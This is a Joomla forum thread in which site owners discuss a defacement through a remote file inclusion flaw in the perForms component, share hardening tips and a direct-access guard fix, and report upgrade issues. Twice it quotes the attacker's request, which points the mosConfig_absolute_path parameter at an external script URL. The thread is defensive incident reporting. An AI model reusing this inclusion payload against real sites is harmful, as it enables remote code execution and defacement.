Joomla! Discussion Forums

Yesterday My website using "Joomla! 1.0.10 Stable [ Sundown ] 26 June 2006 00:00 UTC" was defaced. When I checked the logs the possible hacker ran this script.
He was able to replace the index file in the root folder(public_html) and the Joomla Installation Folder (cms) on my server.
I have noticed he also ran the script on the "com_forum" component i.e. the default Forum component  of Joomla I think.
But I am not sure which one had him get going.
It was really an annoying experience I uninstalled perForms since then.

>>> Host: 193.255.106.11
>>>  /cms/components/com_performs/performs.php?mosConfig_absolute_path=http://mairie.lhermitage.free.fr/list.txt?
>>>
>>>
Heres my server Info:

Heres the copy of the code he executed.
http://mairie.lhermitage.free.fr/list.txt

Unfortunately the perForms component isn't the only one that is exploitable via this method. ExtCal is also known to suffer from this issue (see http://forum.joomla.org/index.php/topic,75390.0.html).

Three days ago the same thing happened to our old server (fortunately we had moved our sites to our new server the day before!) and the hack managed to replace most files named index and index2 as well as the configuration.php file and a few apache based files.

Fortunately from what I can tell, the db data remains untouched so you should be able to rebuild the site without needing to touch the db then point the new installation at the old db.

I would also strongly advise changing the permissions on your new installation as this will limit the damage caused by such an exploit; if you are on linux I would advise;

chown httpd:httpd -R /path/to/your/site

then make the files readonly;

chmod 550 -R /path/to/your/site

This will require more work when installing components (i.e. you'll have to make the components and administrator/components read/write for the httpd user for the duration of the installation).

Finally, there is a short-term fix available for this exploit although it requires manually editing the sourcecode (I believe it is here; http://forum.joomla.org/index.php/topic,75390.0.html). The fix should prevent the hacker from directly calling the performs.php file which is what has happened here;

/cms/components/com_performs/performs.php?mosConfig_absolute_path=http://mairie.lhermitage.free.fr/list.txt?

As you can see, they have executed the file directly, which in Joomla is something a component should not allow. I would also contact the creator of the component and inform them of this exploit. They may be able to give you more information regarding a longer term fix.

Yes the DB was untouched. The tech support from my Hosting replaced the index files from the backup and I uninstalled the perForms module as i was not using it.
I did make out this.. by the logs..
Thank you for your reply..
Anyone who wud make a component, disabling direct access to the script is what someone wud initially do
Regards
AJ

Add before any code in performs.php:

defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

for v2, beta
http://developer.joomla.org/sf/projects/performs

I received this email from my host this morning. I was severely hacked 2 weeks ago. I have multiple sites on one server. One is using Performs 2.0 Beta, the other two use 1.0.




Thank you for the updated version ilhami. This is a great component (a mambot would be my dream!), and is great to see that the project is not dead. I will be installing the new version now, but I am confused. I have version 2.0 beta, and the forge page talks about version 1.5, but only has 1.1 available. Are there multiple branches of the component?

ilhami,

Nevermind.

Thank you.

OK. Now I am getting errors on the pages with Performs forms:



On the Admin side I get on the Performs items page:
   

and i get an error message when I go to a checkbox item. These checkboxes don't appear in forms.

On one of my sites I have two forms. I tries to use one and it stated that the email was sent, even though it still had the mylib.php warnings. The other form I had to disable a checkbox, and make it not required to make the form work on the site.

The problem is I don't get the emails. These forms were working fine in version 1.0. I changed nothing except doing the upgrade from 1.0 to 1.1.

ilhami, I hope this all helps you find and fix the problems. I really rely on your forms component.

Thank you.

Thank you for the quick fix. Installed 1.1.1 and all seems fine.